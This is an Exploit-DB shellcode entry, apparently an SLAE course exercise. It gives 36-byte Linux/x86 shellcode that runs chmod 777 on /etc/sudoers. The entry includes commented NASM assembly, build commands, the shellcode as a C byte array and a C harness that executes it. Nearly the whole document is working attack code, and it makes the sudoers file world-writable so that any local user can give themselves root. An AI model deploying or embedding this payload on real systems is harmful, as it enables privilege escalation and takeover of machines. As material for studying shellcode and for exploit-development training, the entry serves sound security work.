Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes)

EDB-ID: 43463
Author: Hashim Jawad
Published: 2018-01-04
CVE: N/A
Type: Shellcode
Platform: Linux
Shellcode: Download Shellcode Code Download / View Raw
Shellcode Size: 36 bytes

 ################## Description #################### 

; Title : chmod 777 /etc/sudoers - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : chmod /etc/sudoers permissions
; OS : Linux
; Arch : x86
; Size : 36 bytes

################### chmod.nasm #####################

global _start

section .text

_start:

; push NULL into stack
xor edx, edx
push edx

; push (/etc/sudoers) into stack
push 0x7372656f
push 0x6475732f
push 0x6374652f

; store ESP pointer in EBX
mov ebx, esp

; store octal value of (777) in CX
mov cx, 0x1ff

; execute __NR_chmod syscall
xor eax, eax
mov al, 0xf
int 0x80

; execute __NR_exit syscall
xor eax, eax
mov al,0x1
int 0x80

################### chmod binary #####################

nasm -f elf32 -o chmod.o chmod.nasm

ld -z execstack -o chmod chmod.o

################### Shellcode ########################

objdump -d chmod -M intel

################## Compile #########################

gcc -fno-stack-protector -z execstack chmod.c -o chmod

*/


#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xd2\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xff\x01\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

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